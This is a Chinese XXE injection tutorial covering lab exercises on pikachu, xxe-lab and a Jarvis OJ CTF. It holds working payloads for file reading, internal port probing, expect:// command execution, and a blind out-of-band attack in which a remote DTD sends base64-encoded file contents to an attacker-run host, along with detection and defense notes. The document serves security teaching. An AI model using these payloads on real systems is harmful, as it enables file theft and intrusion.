WEB漏洞-XXEXML之利用检测绕过全解(39)

#概念

xml:xml被设计成传输和储存数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容。就类似于一种数据的格式,代码类的一些东西;

xxe:是xml上面的一个漏洞,也被称之为xxe实体注入,漏洞名字叫xml外部实体注入漏洞。

xml是一种数据传出的代码语言,xxe是上面的一个漏洞的全称写法。但是产生在xml上的安全问题。

#危害

文件读取,rce执行,内网攻击,dos攻击

大部分的危害都是可以加载恶意外部文件,然后造成的上面的危害

xml与html的主要差异;xml被设计为传输和储存数据,其焦点是数据的内容。html被设计用来显示数据,其焦点是数据的外观。html指在显示信息,而xml指在传输信息。

判定这个漏洞存在之后,我们该如何去利用,分为两种,第一种是输出形式,利用的结果显示,分为两种情况,一种情况是有回显,一种是回显;比如说要用文件读取,文件读取的内容数据能不能正常的给你回显看到,有回显玩法更多,。

无回显就借助外部引用,进行反向连接配合;

除了这个形式,还有一个过滤,我们绕过思路就是采用协议玩法,换一种协议去执行想要的结果,或者采用外部引用,把核心代码写到外部东西上面去,DTD上面去实现绕过,还有一种编码把一些关键词进行编码,达到关键字的绕过,根据具体情况选出不同的方案。

##演示案例,pikachu靶场

我们先不管是怎么产生的,我们发现这个靶场有这个漏洞,直接去利用他

文件读取

<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///d://w.txt"> ]> <x>&xxe;</x>

这个代码是通用的,读取d盘下面w.txt文件的内容,在靶场的框里面直接复制粘贴

 就读取到了

内网探针或攻击内网应用(触发漏洞地址)

  <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE foo [

    <!ELEMENT foo ANY >

    <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >

    ]>

    <x>&rabbit;</x> 作者:shtome https://www.bilibili.com/read/cv13343258/ 出处:bilibili

看内网有没有开放端口,能不能访问

也可以借助该方法触发漏洞    

这个复制粘贴到靶场去

 这个就表示有这么个文件,而把index.txt换成一个随便写的文件

 返回的就是这种,这个就是不存在这个文件,

这个pyload就是可以帮你确定那个地址有没有那个地址存在,也属于进行了一个端口扫描,看那个端口开不开发。

可以帮忙判定一些内网的信息,

内网探测

RCE-远程代码执行 

​ php环境需要安装expect扩展,我这边用的phpstudy集成环境,没看到这个扩展,故未验证。

这个很难碰到对面有没有开这个扩展,有没有过滤,都会影响

  <?xml version = "1.0"?>

    <!DOCTYPE ANY [

    <!ENTITY xxe SYSTEM "expect://id" >

    ]>

    <x>&xxe;</x> 

引入外部实体dtd

把恶意代码写入dtd文件,再让网站访问dtd,执行其中的代码

需要允许外部实体引用才能实现

<?xml version = "1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://192.168.31.210:8080/evil2.dtd"> %file; ]> <x>&send;</x>

可以自定义攻击代码,还可以绕过部分防御软件

那个dtd可以理解为他是上面的xml的格式文件,他去访问dtd里面内容就会当作xml语言代码去执行,

所以在dtd里面可以写一些这么内容

    evil2.dtd:

    <!ENTITY send SYSTEM "file:///d:/w.txt"> 

就会用file去读取d盘的test文件,

这个很简单就是让他去访问那个dtd文件,然后执行文件里面的xml代码,

条件:看对方代码里面有没有禁止外部实体引用,这也是一种防御手段。

类似于文件包含,类似远程包含原理,这个就是可以远程引用,核心代码在1dtd上面,第一个就是自定义攻击代码,第二种为了绕过一些防御软件代码,绕过对面有waf和检测会跟着用户行为,发现读取就会拦截等等,把核心代码放在服务器远程去请求执行核心代码。

 然后直接复制粘贴那个代码

还是会显示出来内容

 结果就是读取到了文件内容。

然后把靶场的源码改为无回显模式

再粘贴那个读取语句就什么都不会返回了

无回显利用

​ 原理是自己本地搭建一个网站,xxe漏洞让目标网站带着读取到的数据访问我们的网站,然后我们再在本地日志查看数据即可。

<?xml version = "1.0"?>
<!DOCTYPE test [
        <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
        <!ENTITY % dtd SYSTEM "http://192.168.31.210:8088/test.dtd">
        %dtd;
        %send;
]>
 

-----如果代码不能用就是符合的问题,英文手打一编就好-------

在上面里面用的php协议进行一个base64编码读取的test.txt的内容;读取之后会复制给变量file。

之后去访问一个远程地址dtd,

远程dtd内容://test.dtd,这里的&#x25;是%的编码,因为dtd中不能有%
<!ENTITY % payload
    "<!ENTITY &#x25; send SYSTEM
'http://192.168.31.210:8088/?data=%file;'>"
>
%payload;

最后这个是去访问指定地址,会把变量file给data这个变量,然后这时候就可以写一个接受代码,或者去开启一下日志查看,都可以查看到读取的内容了,

日志查看

 这个文件内容的base64加密指,解码一下就好了,

不回显,就让对方去反向链接,

在ctf实战中会出现

读文件(绕过)

参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

    <?xml version = "1.0"?>

    <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>

    <x>&f;</x> 

我们根据的pyload里面有一些必须要用到的关键字,对方代码有过滤,绕过思路就是编码

参考里面第一种采用编码绕过,参考里面是linux代码,别的系统要自己写个脚本

若http被过滤,就可以用参考里面的协议绕过

怎么发现这些白盒就代码审计,黑盒就自己测试。

#xxe漏洞检测

分为白盒和黑盒两种情况,白盒主要去翻他的代码函数点,搜索特定函数,数据类型。

黑盒:人工去看,或者工具去扫,一般web漏洞扫描工具都能找到xxe漏洞,我们更偏向于讲人工,判断漏洞;主要通过爬行的数据包,burp抓包,爬行,爬完之后在数据包里面批量搜索,“Content-Type” 指的判断,如果值为“text/xml”或“application/xml”,则后面的数据是XML数据。

第二种根据传输数据格式,类似“<username>admin</username>”为XML的格式 

如果这两个都没有还要找这个漏洞,就需要去盲猜,没有“text/xml”或“application/xml”不代表不接受,直接更改“Content-Type”的值为“text/xml”或“application/xml”,在接收XML数据的位置提交攻击语句进行测试。

##xxe-lab(XXE漏洞靶场)

 随便输入个账户密码,抓一下数据包

 常规是这样爬行,然后在历史记录里面搜索特定的值,这个是靶场

在历史记录里面

 可以搜索,还可以看mime类型

 然后数据下面那个数据类型就可以作为注入攻击语句的地方,试一下

<?xml version="1.0"?>
<!DOCTYPE Mikasa[
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
然后发送

 读取到test文件的内容了。

这个就是爬行数据包,然后批量查找有没有xml的关键字的数据包,然后打开数据包就发现了漏洞。

##CTF-Jarvis-OJ-Web-XXE安全真题:http://web.jarvisoj.com:9882/ 

打开靶场,go一下抓数据包,在数据包里面发现Content-Type: application/json,采用的json的数据形式,在检测漏洞里面有一个直接更爱Content-Type指,盲猜有没有,

把json改为xml,然后下面语句改为攻击语句

<?xml vesion = "1.0"?>
<!DOTYPE ANY [
<!ENTITIY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

 读取到了。

##自己下整合包漏洞

用nmap去扫描

 

 为什么会是箭头指向的扫描结果,因为只有这个ip有端口,下面那个端口特别多是老师自己,

去访问那个ip地址

 是web类就可以直接用web扫描工具

 老师为了节省时间跳过了这个过程,直接扫描倒了下面有这么一个文件,然后访问,发现了xxe,就可能有这个漏洞

 直接访问xxe

 抓一个数据包

 下面就有很明显的xml语言数据传输格式,就可以在这里进行攻击

 为什么语句要进行base64加密,就不用在写文件所在的地址,这样写他就当前目录下面找test.txt的文件,

读取到了xxe.php内容,拿去base64解密一下就好

在读取一下admin文件的内容看看

 就发现了账户密码。

因为读的是当前目录下的文件,所以返回的也是那个目录下面的账户密码,登录也只能在那个目录的网站登录

而我们输入账户密码登录之后,给个提示,点击红色的红色的链接

 进入到一个新网站啥也看不到,但是没有关系,我们可以去读取整个网址显示的文件,

 根据网址信息,他在根目录下面,所以在文件之前加上./到根目录来,然后读取文件

然后返回值里面有一个base32加密指,揭秘之后是base64加密,在哪去base64解密,就告诉我们了

 再去读整个文件

 

从最钱的那个符号可以看出来是php代码,还是php文件,输入看不懂没关系,直接复制去运行

 就出来答案了

 这种就是一个真实漏洞案列结合

##XXE安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

公开文章:https://www.cnblogs.com/bmjoker/p/9614990.html 

XXEinjector(XXE工具):https://github.com/enjoiz/XXEinjector 

##防御

禁用外部实体

国旅用户的一些xml数据提交

xxe产生根本原因,网站有接受xml数据,但是又过滤不严谨。

burp官方插件库里面有xxe漏洞检测。直接去网上搜教程就有。

ss

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/5283.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mesh网格数据解析及cesium绘制格网三角网可视化实现

代码实现运行效果 技术术语 Mesh通常指网络拓扑中的网状结构。在计算机网络中&#xff0c;Mesh是指每个节点都与其他节点相连&#xff0c;形成一个无中心的网状结构。Mesh网络常见于分布式计算、传感器网络、互联网等场景中。另外&#xff0c;在3D计算机图形学中&#xff0c;M…

MATLAB 之 Simulink 系统仿真实例和 S 函数的设计与应用

这里写目录标题 一、Simulink 系统仿真实例1. 方法一2. 方法二3. 方法三 二、S 函数的设计与应用1. 用 MATLAB 语言编写 S 函数1.1 主程序1.2 子程序 2. S 函数的应用 一、Simulink 系统仿真实例 下面的应用实例我们将分别采用不同建模方法为系统建模并仿真。例如&#xff0c;…

【AUTOSAR】BMS开发实际项目讲解(三十一)----电池管理系统电池热管理功能

电池热管理功能 关联的系统需求 Sys_Req_4101、Sys_Req_4102、Sys_Req_4103、Sys_Req_4104、Sys_Req_4105; 功能实现描述 为保证电池系统的热安全&#xff0c;以及电池系统不同温度环境下的工作性能&#xff0c;本车型具备热管理功能。 表-热管理功能配置 功能 功能描述 …

vim多文件切换快捷键设置

1、基本切换指令 vim中在打开多个文件时&#xff0c;会有多个文件进行切换的需求。按:bn切换到下一个文件&#xff0c;按:bp切换到上一个文件。 2、快捷键设置 为了便捷操作&#xff0c;将切换命令设置成快捷键。 进入/home/yys个人目录下&#xff0c;vim .vimrc进入vimrc文…

java新特性stream

stream Java 8 是一个非常成功的版本&#xff0c;这个版本新增的Stream&#xff0c;配合同版本出现的 Lambda &#xff0c;给我们操作集合&#xff08;Collection&#xff09;提供了极大的便利。 Stream将要处理的元素集合看作一种流&#xff0c;在流的过程中&#xff0c;借助…

Linux性能瓶颈分析之TOP指标分析

Linux性能瓶颈分析之TOP指标分析 文章目录 Linux性能瓶颈分析之TOP指标分析一、查看CPU二、监控CPU总结 一、查看CPU 1.查看cpu基础信息 lscpu2.查看cpu详细信息 cat /proc/cpuinfo3.统计cpu信息 cat /proc/cpuinfo |grep "physical id" |sort |uniq |wc -l 查看…

Go语言使用net/http实现简单登录验证和文件上传功能

最近再看Go语言web编程&#xff0c;go语言搭建Web服务器&#xff0c;既可以用go原生的net/http包&#xff0c;也可以用gin/fasthttp/fiber等这些Web框架。本博客使用net/http模块编写了一个简单的登录验证和文件上传的功能&#xff0c;在此做个简单记录。 目录 1.文件目录结构…

Spring bean 生命周期

在互联网领域中&#xff0c;Spring框架扮演着重要的角色。作为一个开源的Java应用程序开发框架&#xff0c;Spring提供了一种灵活而强大的方式来构建可扩展的应用程序。Spring框架中的一个重要概念是Bean&#xff0c;它是Spring应用程序的基本构建块之一。了解Spring Bean的生命…

多元分类预测 | Matlab粒子群算法(PSO)优化混合核极限学习机(HKELM)分类预测,多特征输入模型,PSO-HKELM分类预测

文章目录 效果一览文章概述部分源码参考资料效果一览 文章概述 多元分类预测 | Matlab粒子群算法(PSO)优化混合核极限学习机(HKELM)分类预测,多特征输入模型,PSO-HKELM分类预测 多特征输入单输出的二分类及多分类模型。程序内注释详细,直接替换数据就可以用。程序语言为matl…

Unity UGUI Canvas Overlay模式获取屏幕坐标

UGUI Canvas Overlay模式获取屏幕坐标 &#x1f354;效果&#x1f371;获取 &#x1f354;效果 &#x1f371;获取 ui的position就是屏幕坐标(●’◡’●) var screenPos new Vector2(transform.position.x, transform.position.y);

力扣 112. 路径总和

题目来源&#xff1a;https://leetcode.cn/problems/path-sum/description/ C题解1&#xff1a;递归法&#xff0c;前序遍历。先把当前节点加入sumtmp&#xff0c;再判断是不是叶子节点&#xff0c;如果是则判断sumtmp与targetSum的大小&#xff0c;不是则对其左右子树再次进行…

React解决setState异步带来的多次修改合一和修改后立即使用没有变化问题

我们编写这样一段代码 import React from "react" export default class App extends React.Component {constructor(props){super(props);this.state {cont: 0}}componentDidMount() {this.setState({cont: this.state.cont1})}render(){return (<div>{ thi…